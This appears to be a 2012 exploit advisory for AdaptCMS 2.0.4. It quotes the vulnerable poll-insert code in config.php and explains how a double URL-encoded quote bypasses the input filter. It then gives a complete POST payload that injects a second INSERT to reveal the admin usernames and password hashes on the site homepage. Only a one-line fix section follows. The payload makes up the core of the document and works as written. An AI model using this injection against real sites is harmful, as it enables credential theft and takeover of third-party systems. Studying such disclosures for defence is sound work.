70 lines
No EOL
1.8 KiB
Text
70 lines
No EOL
1.8 KiB
Text
# Exploit Title: AdaptCMS <= 2.0.4 SQL Injection vulnerability
|
|
# Date: 26/10/2012
|
|
# Exploit Author: Kallimero
|
|
# Vendor Homepage: http://www.adaptcms.com/
|
|
# Software Link: http://www.insanevisions.com/page/3/Downloads/
|
|
# Version: 2.0.4
|
|
# Tested on: Debian
|
|
|
|
Introduction
|
|
============
|
|
|
|
As you know, I love fun and tricky SQL injections.
|
|
AdaptCMS is vulnerable to a really unusual one.
|
|
|
|
|
|
The vuln
|
|
========
|
|
|
|
|
|
First let's see the code :
|
|
|
|
---------------[config.php]---------------
|
|
|
|
Line 34 :
|
|
array_map('clean', $_POST);
|
|
|
|
---------------[config.php]---------------
|
|
|
|
clean() acts like addslashes.
|
|
|
|
But a couple of lines after:
|
|
|
|
---------------[config.php]---------------
|
|
ligne 111:
|
|
|
|
mysql_query("INSERT INTO ".$pre."polls VALUES (null,
|
|
'".htmlentities(check($vote[2]))."', '".$vote2."', 'custom_option', '',
|
|
'".htmlentities(urldecode($_POST['question']))."', 1, '".time()."')");
|
|
---------------[config.php]---------------
|
|
|
|
w00t an SQL injection. $_POST['question'] is urldecoded after the
|
|
superglobal's clean. That's why we can easily inject our SQL request.
|
|
(Without ENT_QUOTES, the simple quote pass through htmlentities() ).
|
|
|
|
|
|
The PoC :
|
|
=========
|
|
|
|
Ok, now we have to add a second INSERT query, to insert a custom choice in
|
|
the poll, which obviously contain the admin creditentials.
|
|
A simple POST http request such as:
|
|
article_id=0&poll_id=1&vote=2&custom=1&question=%2527, 1, 1350677660),
|
|
(null, 0, (select concat(username, 0x3a, password) from adapt_users),
|
|
'option', '', 1, 1337, 1349597648 )-- -
|
|
|
|
Now check homepage, and enjoy the admin creditentials.
|
|
|
|
How to Fix ?
|
|
============
|
|
|
|
There is many SQL injections in this CMS ($_SERVER vars are vulnerables as
|
|
well), and others funkies vulnz.
|
|
changing your cms seems appropriate until they fix thoses issues.
|
|
|
|
Thanks
|
|
=========
|
|
|
|
All hwc members : Necromoine, fr0g, AppleSt0rm, St0rn, Zhyar, k3nz0,
|
|
gr4ph0s.
|
|
Please visit : http://www.orgasm.re/ |